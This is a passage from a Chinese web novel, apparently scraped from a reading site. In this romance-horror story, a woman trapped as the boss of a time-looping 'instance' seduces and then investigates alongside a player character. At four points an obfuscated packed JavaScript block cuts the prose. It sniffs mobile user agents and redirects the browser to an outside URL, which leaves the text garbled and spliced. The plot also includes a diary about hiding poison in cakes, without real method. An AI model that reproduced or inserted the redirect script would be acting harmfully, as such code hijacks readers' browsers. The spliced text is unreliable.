叉子插到提拉米苏上方的草莓上,宁孟知微微倾身往前递过去,“我特意挑得最漂亮的一颗,用做装饰。你尝尝,甜吗?” 略显凉意的草莓尖碰触着嘴唇,清甜的果香还没有触到味蕾,先一步侵占了鼻腔,连那耳边拖长的声音都像是带着某种甜蜜的意味。 涂肖不由地看了宁孟知一眼。 就算是为了“维持副本规则、了却原身心愿”,做到这种程度也太过了。 但或许是摇曳的烛光照在那美丽的面孔上晕染出了暧昩的色泽,也或许是周围的黑暗放大某些隐秘的欲求,他张了张嘴,却并不是出言阻拦,而是将那颗草莓咬了下来。浆果的表皮十分脆弱,牙齿只稍稍用力,就将其连同内部的果肉一同切下,丰盈的汁水就在口腔中绽开,果肉在唇齿间被碾磨着挤压。 桌子下面,小腿被轻轻蹭了一下,“好吃吗?” 涂肖没有回答,而是深深地看过去一眼。 半是警告的意味。 宁孟知没看到。 虽然有“技术指导”,但第一次撩人,还一上来就是“副本boss勾.引玩家”这种高难度级别,她有点紧张。 小腿碰完之后,自己先缩了,她站起身来,语速飞快地,“我想起来,做提拉米苏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472563|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候开封了一瓶朗姆酒,咱们今晚喝了吧。” 这么说着,人已经起身,看似游刃有余、实则落荒而逃地往厨房走去。 涂肖看出来了。 看着那比正常快了不少的步速,他头疼地按了按额角。 ——这个副本,真的要选“达成核心心愿”这一种通关办法吗? 好在宁孟知拿了酒回来,没再有别的举动,这总算像个正常的饭局了。 吃完了这一顿各怀心事的饭,两个人靠在窗边,静静地看着窗外的夜景,一时之间竟然真有些岁月静好的感觉。 看着远处建筑的灯光亮起,亮着的流水灯依次闪过,拼凑出各种的图案,宁孟知仰头将杯中的冰凉的液体饮尽。冰块撞击着杯壁发出清脆的响声,甜腻的蛋糕之后,冰凉和火热的感觉流淌过食道,在胃中交融,意识有些混沌、偏偏又很清醒。 酒精麻痹了神经,让一些清醒时不能做举动都有了行动力。宁孟知深吸口气,接着这股半醉的感受,伸着手勾住了身旁人的脖颈,不等对面反应,就仰头亲吻上去。 涂肖愣了一下,下意识地往后退去。 宁孟知猜到了他的反应,一手勾着他的脖颈,另一只手攀住肩头,把自己整个人都挂在了他的身上。 椅子擦过地面发出一声刺耳的噪音,椅子腿被绊在落地窗和墙壁之间的夹缝凸起处,察觉到宁孟知悬空,涂肖本来下意识托了人一把,但手落下的地方不对,他刚刚碰到一点就烫到一样缩回,宁孟知更紧地着贴到了他的身上。 后退的余地被身后的椅子挡住,涂肖像是忘了还有把人推开这个选择,被逼得避无可避地坐在了椅子上。 “你喝醉了。” 宁孟知根本没回应这句话,而是就着椅子的支撑,环住男人脖颈,舌尖一点点描摹着对方的唇.瓣。那嘴唇一开始紧紧地闭着,某一个间隙之后,终于张开,却并未等着人慢慢探索,而是反客为主,一上来就不留余地地索取。舌尖辗转着厮磨,像是要将不老实的软舌和带着酒香的津液一块吞下一般。 宁孟知觉得不对,才刚挣了一下,就被死死地按住了后脑。 紧接着脚下一空,她被人抱了起来。她下意识将腿攀上肌肉紧实的劲腰才稳住身形。 长桌上的蜡烛被起身带起的风吹灭,屋内陷入一片彻底的黑暗,可另一个人像是在这漆黑一片中也能准确视物一般,每一步都稳稳地避开了障碍物,精准无误地找到了卧室。 后背跌入柔软的被褥里,宁孟知都以为接下来覆过来的可能是一具带着炙热温度的躯体,但却是一条轻飘飘的被子盖在了身上。 宁孟知:??? 要不是这会儿撕破脸对双方都没好处,她都要忍不住坐起来问一句“为什么?”了。 黑暗中,宁孟知能够感受到一道带着侵略感的视线落在她身上,她甚至能隐隐听到对方并不稳定的呼吸声。 隔了几分钟,门锁响动,他推门出去了。 就这么出去了。 宁孟知:“……” 不死心地又等了一会儿,确定对方并不会回来之后,宁孟知抱着被子坐了起来,陷入沉思。 果然,任何一个脑子正常的玩家,都不会选择和副本boss睡觉。 但是刚才他好像也不是没感觉啊…… 5. 甜点心05 宁孟知怀着满腹心事睡着了。 第二天醒来,身上并没有任何宿醉后的不适。 她点开手机一看,果然是“9月12日”,不出所料的时间循环。 当副本boss的好处是,在这种情况下,可以当做一切都没有发生过,宁孟知略微思考了一下“今天”的行动,就抬手推开房门,一眼看见了呆在客厅的男人。 “老公,”她神色如常地招呼,又关切,“昨晚没睡好吗?” 涂肖:“……” 不记得了? 算了,也是件好事。 他头一次生出想要尽早结束副本、越快越好的想法。 把“昨晚”连夜找到的东西一一摆放到桌子上 “他……也就是‘丈夫’,结婚前背着很大的一笔债务,手机上常常能够收到催债短信和电话,前段时间已经变成了威胁,但他最近似乎认为有办法解决。” 涂肖说着,将桌上的那部手机打开,把里面的相关短信都展示了出来,并调出了几个电话的通话记录,“这个号码是从八月份开始稳定通话,在这之前,这部手机上有很多电话打进来,但是几乎没有两个相同的号码,他应该把催债的号码都拉黑了。从八月份开始,他却有了稳定联系人,我推测因为他做出了还债的承诺。” 宁孟知因为这突如其来的意外发展愕然,连对方那明显有问题的代称都顾不上了。 涂肖又指了指桌上的一沓文件,“那是一份保险额度极高的意外身故险,受益人以法定顺序继承。”也就是说,位于首位的受益人是法定伴侣关系。 “这是两人往K市的往返车票,我在手机上调取到了主人的查阅记录,K市的禹仙山是个小众景区,安全措施并不到位,几年前还有游客失足落下山崖。他是查到这些消息之后才订下往禹仙山的行程……这是从K市到禹仙山的汽车票……” 宁孟知看到,返程的车票日期是9月11日。 按照原主的日记记录,她对交往纪念日这一天很看重,或许是特意订的提前一天的回程。 但是在那之前,她已经被别有所图的丈夫谋财害命。 所以这不断重复的“9月12日”,是因为原主与纪念日失之交臂,所以才形成了执念。 像是找到了关键的节点,宁孟知能感觉到所处的世界都跟着跟着震动了起来。她就站在那骤然汹涌的情绪风暴正中心,那悲戚绝望的情绪从心底翻涌,席卷而来的巨浪几乎要将她彻底淹没。 但宁孟知却发现,自己非常熟练地做出了隔绝,像是一叶扁舟,随着巨浪汹涌起伏,却并不会被它淹没。 “为、为什么……”声音像是从自己喉咙里发出的,又像从外部传来,整个空间都似乎被层层叠叠的声波引动,不真实的扭曲着,“为什么不告诉我?我、我们可以……可以一起还、还债。” 宁孟知只觉得眼前蒙上了一层血色。 温热的触感在脸颊上蔓开,她才意识到那是两行血泪。 不同于正感受着原主情绪的宁孟知,涂肖脸上表情没有一点儿变动,他漠然地看着那两行血泪淌过,开口问:“你想要什么?” 这也是涂肖觉得奇怪的地方。 虽然二人一开始判断错了副本核心,但如果这个副本的核心是妻子,早在他杀死“丈夫”的一瞬间,妻子应该已经报复成功,完成心愿了才对。还是需要的“妻子”亲自动手? “纪念日,我要一个完美的纪念日。” 宁孟知听见“自己”这么说。 但是不对! 宁孟知想起了日记本内那一整页血淋淋的字迹,充斥着潦草字迹的“爱我”。原主要的绝对不是什么纪念日! 但宁孟知开口提醒之前,涂肖已经一口答应下来,“好。” 明明只是口头承诺,但是宁孟知却感觉到有什么无形的联系在这个世界的见证下诞生。 宁孟知:不要随便答应条件啊!!! 但下意识闪过这个念头之后,宁孟知却很快反应过来:她又不站对方立场,这个玩家答应得这么轻易,她应该高兴才对。 宁孟知心情复杂地适应了会儿自己boss身份。 涂肖答应下来之后,倒是认真思考了怎么完成这个“纪念日”的要求。 也应该算是约会吧? 他回忆着昨晚搜集线索时,在“丈夫”手机上看到的照片,先去了趟洗漱间,把一.夜过去明显了不少的胡茬剃干净,又“回”了趟夫妻的主卧,准备换上对应的衣服。 正一边往里走一边扯着T恤下摆往上拽,拉了一半突然摁了回去,侧身看向宁孟知。 宁孟知:“……我不用卧室。” 她莫名明白了对方的意思,一边这么解释着,一边主动帮忙关上了门。 门扉合上间隙,里面已经三下五除二地脱下了上衣。他是背对着门口,宁孟知也透过门没关上的缝隙,看到了赤祼的脊背,肌肉线条流畅紧实,随着动作一拉一伸。 把门关上,宁孟知在外面不自觉地发了会儿呆。 副本boss吃这么好吗…… * 出去的路上,两人如昨天一般遇到了那对老夫妻。 因为这次时间充裕很多,宁孟知干脆对方闲聊了一会儿,准备借此机会了解一下周围“邻居”。而老爷子大概也多次跟人解释自己妻子的事,三言两语就道明了原委,原来这位阿姨是因为车祸变成现在的样子。 宁孟知有点奇怪,这位阿姨有相当明显的阿兹海默症状,车祸会导致阿兹海默吗? 脑海中贫瘠的医疗常识给不了回答,再想想这是什么都可能发生的副本,她顿时释然了。 我以前肯定不是个医生。 正这么想着,旁边推着轮椅的老爷子突然像是虚弱地咳嗽了几声,轮椅差点脱手。 涂肖依旧是没什么表情,但还是抬脚挡了下轮子,抓住了一旁的轮椅手柄。 老爷子又是连连道谢,连声说着:“小伙子真是个好人。” 宁孟知嘴角抽了抽。 在这种细节上,就不必重复“昨天”的流程了吧? 虽然心底吐槽,但她还是忍不住关心了一句,“您也注意身体啊,阿姨还需要您照顾呢。” “是啊,是啊,确实注意着呢,但到底是年纪大了,一年不如一年……”老爷子唏嘘感慨着,又抬眼看向轮椅上的人,“放心,我要是真的快走了,不会留她自个儿孤孤单单的。” 宁孟知隐隐听出点不对劲的意思,忍不住转头看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472564|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼老爷子。 后者目光还落在轮椅的老伴身上,明明是温和深情的注视,她却不由地从里面看出些毛骨悚然的意味。 真的是她想的那个意思! ……不愧是副本npc。 略显僵硬地告别了那对老夫妻,宁孟知忍不住搓了搓手臂,又想起了昨天商场内看见的情景,忍不住开口:“这里面的‘人’都是这样?” 正常人呆在这里时间久了,也得被逼疯。 涂肖奇怪地看了她一眼,“副本本来就是基于核心的情感扭曲产生的,里面的‘人’当然遵从核心的情感逻辑。” 虽然“核心”在副本里面的通常以扭曲情感初始来源的人物的形象出现,但是整个副本都是基于最初扭曲的情感能量产生的。从这个角度而言,副本里每个npc都是核心的一部分。 想到这里,涂肖不由又提醒了一句,“你少和他们接触。” 用融入的方式进副本本来就容易受影响,宁孟知这次又直接融合了“核心”,再和npc深入交流,万一被同化就麻烦了。 “……好。” 宁孟知一时都不知道怎么答,对方好像是在关心,但怎么都感觉怪怪的:让一个boss少接触npc?这正常吗?不接触npc难不成接触玩家? 听出了宁孟知的“不情愿”,涂肖本来还想再说点什么。 但视线落过去,不自觉地停在了那润泽的唇.瓣上,昨晚混乱重又浮现在脑海,甜腻的酒香萦绕鼻间。他喉结微滚,脚下不自然地停顿了片刻。 涂肖最后还是什么都没说。 ……算了,也快结束了。 * 两人再次来到商场。比起上一次的到来,这一次货架上多了许多节日用品,天花板上挂着各色的彩带,间隔着以气球点缀,货架边角也以花朵装饰着,浅浅的草木香气萦绕,凑近了看看居然是真花……宁孟知一开始还以为进入了什么节日庆典,但是一想就知道,不会有哪个超市下这么大的血本。 副本的“暗示”做得这么明显,两人也只能照做。除了蛋糕材料,还得买装饰用品,回去还得布置房间。 宁孟知看了眼时间,觉得不容乐观。 由于涂肖先前和原主立下的约定,宁孟知一点都不想知道把纪念日搞砸了、“约定”被毁,副本会发生什么变化。 她轻咳了一声,提议:“分头行动?我去买蛋糕材料,你去买装饰品。” 涂肖没有立刻回答,而是抬头看了眼周围成对行动情侣。 这么分开,恐怕不是核心愿意看到的情况。就像是上次拒绝接吻一样,真要做了,还不知道会发生什么。 宁孟知拽着涂肖的袖子往下扯了扯,后者还以为她想说什么,往这个方向弯了下腰。 柔软的唇.瓣碰到了脸颊,一触即分,就像那天看到的年轻夫妻。 宁孟知冲着愣在原地的男人眨眨眼,莞尔:“亲爱的,你晚上想吃什么?” 原主的意思很好理解,只要够“恩爱”,有没有一起行动是小事。 涂肖目光在张合的嘴唇上停顿了一下,眼神不自觉地变深,好一会儿,才哑着声,“随便。” 宁孟知:“……” 大哥,你把天聊死了啊! 6. 甜点心06 因为原主提出的新要求,两人的时间突然紧了起来。 回来之后,宁孟知就抓紧时间进了厨房,把客厅的布置交给了涂肖。话虽如此,但是想着对方那几次把天聊死的经历,宁孟知对此完全没抱什么希望,只希望稍微有点布置,应付原主了事。 等她终于忙完了蛋糕,推门出来之后,却愣在了原地。 星星灯点缀在房门的边缘,在墙壁上绕成了或圆或方或是心形的形状,外面的天色还没有完全暗下,但黯淡的室内亮起星星点点的灯光,仍旧美得像是将夏日的夜空剪藏。客厅的一角,被灯光的笼罩的边缘,丝带绑着气球半浮着悬空,下方是白色的桔梗花绿色的装饰树叶,像是童话的森林。而另一边,灯光照射的正中心处,透明的玻璃杯里插着两支犹带晶莹水珠的香槟玫瑰,旁边是缎带系起来的丝绒礼盒。 宁孟知在厨房门口站了好久,都没敢相信这是涂肖能布置出来的,忍不住发出一声“啊哦~”的惊叹声。 对涂肖来说,这算不上什么难度。 手机里保存着“丈夫”的求婚视频,一模一样的复刻并不困难。 但这会儿,看着表情惊叹的宁孟知,他嘴唇动了动,明智地把解释的话咽了下去,保持了高质量的沉默。 宁孟知往前几步,走到桌边的礼盒旁,“这是给我的?” 涂肖:“……是。” 与其说他给,不如说是这个副本“核心”想要。这种东西会出现在超市里,简直比鲜花还奇怪。 宁孟知解开打结的缎带,打开礼盒。 丝绒的内垫上躺着一枚莹亮的胸针,周遭的细小的碎钻点缀,中间是一个剔透的粉色宝石,宁孟知拿起来比划了一下,别在了左侧的衣领上。 她抬眼看过去,笑问:“怎么样?” 她今天穿的衣服本来就衣领宽松,沉重的胸针将衣领往下坠了坠,露出一小片光洁的皮肤。 涂肖只看了一眼,就不自然地别开了视线。 厨房的烤箱发出“叮”的一声响,宁孟知也不在意没得到回答,哼着歌往厨房走去。 涂肖忍不住看向那个空了的礼物盒。 她喜欢这类东西? 等离开副本以后,要不要也送一个? …… 今天做的是歌剧院蛋糕,比上次的提拉米苏复杂一点,细腻的杏仁蛋糕胚和香醇的咖啡黄油霜混合,夹层是打发得质地轻盈的奶油,淋面选择的是浓香的巧克力,层层叠叠、不同的香气彼此交织,单只摆上来就惹得人食指大动。 一回生二回熟,再次坐在烛光映照的餐桌前,宁孟知的心情比之前放松了许多。 但是和上一次还是有所不同。 涂肖刚坐到桌前,就把酒瓶放到了桌下,“别喝酒。” 宁孟知缓慢地眨了下眼,笑了声,“好。” 亲都亲了两次了,她也算是个熟练工了,不用再靠喝酒壮胆。 况且对方并没有干掉她的意思,既然他都答应了帮原主完成心愿,她好像也不那么着急勾引……咳、她是说自救。 气氛很和谐地吃完了晚饭,宁孟知路过书房的时候无意中往里扫了一眼,目光却忍不住一顿。那本日记本就放在书桌上,下面不知何时晕开了一滩深色的液体,浓稠暗红,宛若血迹。 或许那就是血迹…… 宁孟知下意识转头看了一眼涂肖,见后者正在厨房清洗着餐具,她这才放轻了手脚走进书房。 再翻开那本日记本,先前黏连在一起的页面轻而易举地就被打开了。 在被血浸透的页面上,是与先前相同的黑色碳素笔字迹,但是在暗红的、带着不规则斑驳的底色上,越发显得触目惊心。 [7月21日 他好像有心事,我问他,他却敷衍过去了。我们不是爱人吗?相爱就应该一起面对才对。我觉得有点难受,心口堵堵的,是不是应该去趟医院 …… 7月23日 我听到他在打电话了,好像是什么“债务”? 等有机会问问他 …… 8月4日 他不爱我,他根本不爱我 哈哈哈哈他和我结婚原来是因为这个哈哈哈……但是我签字了,他费了那么多心血,我怎么忍心让他失望] 原主早就知道那份保险有问题? 宁孟知心底已经有了很不好的预感,但仍是定了定神,往下面翻去。 [8月10日 用杏仁粉的蛋糕有很多,但是□□的味道和杏仁不一样,闻起来要更冲鼻一些,用焦化黄油裹住?或许是个好办法……] 宁孟知:……□□? 她本来以为原主是个惨遭爱情背叛的小可怜,可现在看起来,危险的说不定另有其人。 接下来日记恢复了原主一开始的风格,成了工作笔记和甜品配方的灵感记录。 要是里面记的不是“怎么把毒.药不着痕迹地融合到甜品里面而不影响原本的风味”就更好了。 这种时候还注意甜品风味本身就很奇怪吧?! 宁孟知木着脸往下看。 [9月10日 他太着急了,我本来以为我们起码能够一起度过下一个纪念日 K市的禹仙山?也是个好地方,很适合我们一起 在外面不方便准备材料,切块蛋糕不好携带,只能提前做好便于携带的小蛋糕 犹豫之后,我选了费雪南,同样用到杏仁粉,但为了掩盖过量的苦涩味,里面加了两倍的奶油……太遗憾了,最后一次做甜品竟然是这样不完美的配方 按照我本来的打算,我们应该度过一个完美的纪念日:一起去商场购买材料,把家里布置成最浪漫的样子,然后烛光的映照下,看着外面的夜景,吃下我做好的歌剧院蛋糕。为了这份配方,我已经调整了好几次歌剧院的材料比例,最后味道和正常的甜品没有一点区别。我们就在这间共筑的爱巢里,相拥着、没有一点儿痛苦地……] “啪”的一声,宁孟知一个哆嗦,笔记本砸在了地上。 注意到涂肖已经从厨房出来,宁孟知一把捞住了笔记本,同时背身朝着桌面,挡住了桌上的那一滩血迹。 涂肖却是了然,“出事了?” 他像是对“之后会有变故”这点十分清楚。 “没事,就是刚才不小心,把东西碰到地上了。”宁孟知死命摇头,“……客厅的蜡烛是不是还没灭,那么放着容易出事,你去看看。” 涂肖拧眉不答。 宁孟知:“老公~” 涂肖:“……” 他抬手捏了捏鼻梁骨,到底开口,“注意安全。” 看着涂肖转身离开,宁孟知悄悄地松了口气。 原主的问题还没解决,这会儿再和玩家闹掰百害而无一利。 趁着涂肖离开,宁孟知快速扯下一把纸巾,仔细清理过桌上的血迹,把这本日记本严严实实地锁在抽屉里,这才才攥着一团染血的纸巾,到了卫生间。 纸巾扔进马桶,按下冲水键,摇荡的水纹被冲刷出几道血线,最后彻底地进入下水道。 宁孟知这才松了口气,走到洗漱台前,一边冲洗着手上的血渍,一边思考着现在的情况。虽然用的是原主技能,但是那个歌剧院蛋糕全程都是她亲手做的,里面没有加什么多余的材料,吃下去这么久,她和玩家都还好端端站在这里就是证据。不管原主本来的打算是什么,现在还没有出事,可以放松点。 先是在心底对自己这么开解了一番,宁孟知才接着往下想。 首先,原主那个“完美纪念日”的要求终于弄清楚了,根本不是什么吃蛋糕,而是两个人一块死。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472565|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 照做是不可能照做的,宁孟知还没有疯到那种程度。 但是男人和原主订下了约定。 副本里定下的约定十分麻烦,要么双方同时同意解除,要么约定的一方彻底死亡。 宁孟知刚才下意识地挡住日记本就是这个缘故。 要是对方发现了实情,一不做二不休把她干掉,她就和原主一块儿凉凉了。 但想要解除约定,也没那么简单,起码得原主放弃这个念头,得找到对方最初扭曲的“爱意”形成的源头。 宁孟知想着,抬眼看向镜子。 随着她的念头变化,像是一滴水滴落其上,镜面荡起一波一波的波纹,镜中倒映出的她的面孔一点点模糊,渐渐扭曲成了另一张脸。 稍短的下颌让主人看起来比实际年龄小上许多,但略微偏狭的杏眼又让这张脸添了几分妩媚,但不正常的苍白脸色又让这妩媚中多出了几分诡秘之感。 宁孟知不由愣了一下。 她见过这张脸,正是在商场外遇到的那个女人。 本来以为是小怪,结果居然是boss吗? 正出神间,镜中的女人嘴唇张合。 声音却并未传出,而是直直地在宁孟知心底里响起,“好啊,我可以让你去找。你用什么来交换?” …… 涂肖已经第三次看见宁孟知拿着那本笔记本了,他只要不瞎就能看出那里面的问题。 趁着宁孟知去了卫生间,他很容易地就破坏了柜锁,拿出了那本日记。 他并没有浪费时间看前面,而是直接翻到了被血渍浸得最深的那一页,也就是原主对于纪念日的规划。 看着上面的内容,涂肖毫不意外,副本本身就基于扭曲的情感产生,副本核心根本不可能提出什么正常范围内的要求,这个“约定”里面没有问题就怪了。 涂肖犹豫的是宁孟知的态度。 她是打算解析这个副本核心?在本身就融合了核心的状态下,这太危险了,一不小心就会迷失其中。 涂肖并不赞同,但他怀疑宁孟知看出了他的反对,才这么遮遮掩掩。 涂肖最终还是把日记本放回了原处:先观察看看吧,有不对劲再打断。 周围的空间短暂的扭曲,像是影像倒带一般,那个刚刚被破坏的锁倒着放映了一遍被破坏的流程,恢复了原状。做完这一切,涂肖正准备离开书房,却听见一阵啪嗒的脚步声,是湿着的拖鞋踩在地板上的声音。 涂肖抬头看过去,却愣住了。 她好像刚刚洗过澡,长长的头发披在身后,身周带着湿润的水汽。吊带裙两条细细的肩带挂在肩膀上,露出了纤薄白皙的肩膀。 再一眨眼的片刻,还在走道尽头的女人已经闪现到了他的面前。 涂肖刚刚翻看日记本的时候,背对着桌子,半靠半坐在上面,这会儿女人整个人依偎了过来,纤细的手臂缓过腰身,压平了腰间衣摆的褶皱,又沿着脊背向上摸索,似乎想要攀住男人的肩膀。随着她的动作,那具柔软的身躯也渐渐贴近。 但并没有等到女人贴过去,一只手掌掐住了她的脖子,直接把她从身上撕了下来。 女人像是还不知道发生了什么,茫然又无措地看过去,她拖长了语调,黏腻地“老公~” 涂肖却压下了眼尾,神色一点点森凉下去,语气冷厉地,“滚出去!” 这么说着,另一只手凭空握住了一柄没有鞘的匕首,并不单单是没有鞘,连锋刃也模糊缥缈、像是介于真实和虚幻之间。 女人兀地笑了,她并没有等着对方把匕首架到脖子上威胁,主动解除了融合的状态。 旁边的空间扭曲着,一点点显出了一道曼妙的身影,涂肖也认出来,这正是那天商场外的的女人。 他神情有一瞬的错愕。 怎么会? 7. 甜点心07 宁孟知的对外界的感知中断于洗手台前的对视。 紧接着,她走到了一个记忆的长廊里。这是一条相当混乱的长廊,漆黑的走道看不见尽头,旁边是一段段声音和影像,并不是连贯的叙述,而是被打乱了次序又毫无逻辑的拼接。大量的画面映入眼中,传出的声音彼此交叠,密集的信息冲击得人脑袋像是炸开一样闷痛,胃里也阵阵翻涌。 宁孟知发现自己对此虽然不说熟悉,但也不陌生。 略微适应了一下最初冲击带来的不适,她很快就知道自己要做什么了。她抬起头来,快速地扫过一帧帧散落的记忆,试图中其中找到自己想要的。 不知道过了多久,就在宁孟知才刚刚有点头绪的时候,画面突然中断,她一下子被从这条漆黑的长廊拽回到现实世界。头晕目眩的状况还没有缓过来,她忍不住摇晃了一下,身体似乎本来就被另一个人支撑着,刚一晃动,就被对方揽入怀中。 被涂肖这么抱着,宁孟知也看清了另一边的人。 是商场外遇到的那个女人,或者说是身体的原主。 宁孟知深深呼吸了几口,正想要开口告知自己的发现,却见女人只是看了她一眼,径直转身穿墙而过。 “等——!” 还没来得及说完,眼前就彻底不见了对方的踪影。 涂肖把宁孟知放在椅子上,匆匆说了句“我去追”,也跟着翻窗而去。 宁孟知:“……” 没有这种方便下楼的技能,真是对不起了啊。 * 楼下。 女人穿墙出去,却并没有飘走很远,就在楼下路灯处站着,仿佛专门在这里等人一样。 涂肖也没有和她客气,顺着空调箱往下跳的时候,已经抬枪对准了她。 远远被一个黑洞洞的枪口对准,女人却并没有露出任何慌张之色,语气平静地,“觉得奇怪?你明明杀了我,这个世界……对了,副本,按你们的说法,这是‘副本’……为什么你都杀了我,副本还没有结束?” 涂肖拿枪的手停顿了一下。 他隐隐意识到了原因。 “是因为你啊。”女人笑了起来,“你不觉得奇怪吗?在这个世界动用能力很容易,只要熟悉构造就能很轻松地具现出物品,没有任何被排斥压制的感觉,所有事情都按照你的心意发展。我的世界的核心感情是‘爱’,你爱着她吧?我还是第一次遇见能够和我的世界同调得这么好的调查员,还没发现吗?这个副本很大程度上是靠你的情感能量在维持着。” “我要的只是‘爱’,在你取代‘丈夫’身份的一瞬间,我的愿望已经达成了,接下来的进展都是你的心愿……你真的没有发现吗?是你扭曲了规则,把她留在这个世界,强行污染了她的意识,让她一点点爱上.你。” 涂肖神色没有丝毫变动,面无表情地打开了枪支保险。 “好吧、好吧,我承认我在其中做了一点点微小的工作。”被涂肖这冷硬的态度一威胁,女人语气软化了一点,“但那不也是你想要的吗?我只是在帮你啊。” 涂肖手指搭在扳机上。 女人终于急了:“等!等等!!你真的要杀了我,你一会儿要怎么和她解释?明明杀死了副本‘核心’,副本却还没有结束,她会怎么想?她会不会发现?” 两人对峙间,后方的单元楼大门被推开,发出的动静让两人同时回头看过去。 出来的是终于下了楼的宁孟知,她披了件外套就紧赶着跑下来,连脚上的拖鞋都没来及换。看见两个人没有真的动手,她大松了口气,但瞄到涂肖手上的枪之后,又表情一僵。 她缓慢地抬起手来,示意自己没有威胁,“我觉得……我们可以先谈谈?” 这不是宁孟知正常该有的反应,涂肖几乎立刻抬头看向那边的女人。 田漪笑了笑,颇为无辜地摊了下手。 她这会儿也反应过来,要是涂肖真的想动手的话,早就扣下扳机了,这可比勒脖子利索得多了,实在不必磨蹭那么长时间。 涂肖把枪收起来了。 虽然那边的气氛颇为诡异,但宁孟知还是暂时确认了安全。她缓慢地挪动着步子,在确定不给对方带来威胁的情况下,走到了田漪面前。 田漪简直是忍俊不禁地看着这一幕,她着实很想知道那边那男人的心情。 宁孟知却没有在意这些,而是站在田漪面前,正色地,“我找到你这么做的原因了,你要看吗?” 田漪瞥了眼涂肖,可有可无地点了一下头。 她并不觉得自己的行为有什么特别的原因,她只是想要“得到爱”而已。 宁孟知抬手拉住了田漪的手,双手并非交叠,而是交融到了一起。 田漪只觉得眼前的画面突然偏转,视野一下子变得低矮下去,所处的环境也由夜晚变成了白天。 她愣了片刻,才发现不是视野变低,而是她变矮了。 年幼的手正按在一个玻璃罐上,手指带着孩童特有的短粗,手掌上也没有明显的骨骼线条。田漪顺着这只的手,看向那个玻璃罐。 透过透明的玻璃瓶壁,能清楚地看着里面的散落的糖果,糖果不多,包装既劣质又过时。 可她很想吃,非常想吃。 感受口腔中不断分泌的唾液,田漪不自觉地做了个吞咽的动作。 “啪!” 手被重重地拍开,孩童娇嫩的手背上霎时红了一片,尖利的女声呵斥着,“和你说了多少遍,不准抢姐姐的糖。” 田漪只觉得这声音很耳熟,却一时想不起来在哪里听过。 她一时忘了手上的疼痛,努力仰头去看,但女人的面目像是隔了一层磨砂玻璃,她无论怎么努力都看不清楚。 还没等田漪想明白这是怎么回事,听到了外面客厅传来一阵杂乱的动静。 看不清五官的女人非常紧张,立刻就转身往外面跑去。 没了女人身影的遮挡,田漪也看见了外面的情况,那是一个狭小逼仄的客厅,地板上铺着柔软的地毯,一个比她现在大些的孩子跌倒地上,地毯缓冲了摔倒的撞击,并没有十分尖锐的疼痛,那孩子呆呆地坐在那里,像是没反应过来发生了什么。 她宽眼塌鼻,长相颇有些奇怪。隔了好一会儿,这个摔倒的孩子才意识到自己的处境,“哇”地哭出了声。 女人把她扶起来,哄了一阵却没有哄好。 于是她又匆匆赶回厨房,从玻璃罐里面倒出一颗糖来,撕开糖纸,将那廉价的劣质糖果塞到女孩嘴里。 刚刚响起的嚎啕大哭突然停.下了,女孩砸吧了下嘴,脸上还挂着泪,却不再哭嚎。她把关节变形的短粗手指塞到嘴里,口水和被含化了的糖浆一起滴滴答答留下来,口中发出些模糊不清的啊吧声。 “你这孩子……” 女人一边责备着,一边动作温柔地拿着湿布把脸上脏兮兮的口水和眼泪一起擦掉,从头到尾都没有注意到旁边的另一个孩子。 小田漪低头看了眼自己被拍红的手背,咬着牙把它藏在了背后。 眼眶发烫,有湿漉漉的水痕沿着脸颊滚下,那傻子却看着她,咯咯地笑了起来。 那股无名怒火来得突然,仿佛在胸口烧灼。 画面一转,她发现自己到了室外,真的有东西烧起来了。 远处的楼上是冲天的火光,黑烟滚滚冒起,刺鼻的烧灼味道传出去很远。 田漪呆呆地看着这一幕,肩上玫粉色印着卡通人物的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472566|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方形书包掉落在地上,她突然反应过来,拔腿地想要往里冲,没跑几步,就却被旁边的成年人抱离了地面,“哪家的小孩啊?离火场远点。” 田漪嘴巴张合,声嘶力竭地喊着什么,但是却听不见自己的声音。 一道道议论声传入耳中,声音远得像是从天边传来,她看不清说话人,又好像每个人都在说话。 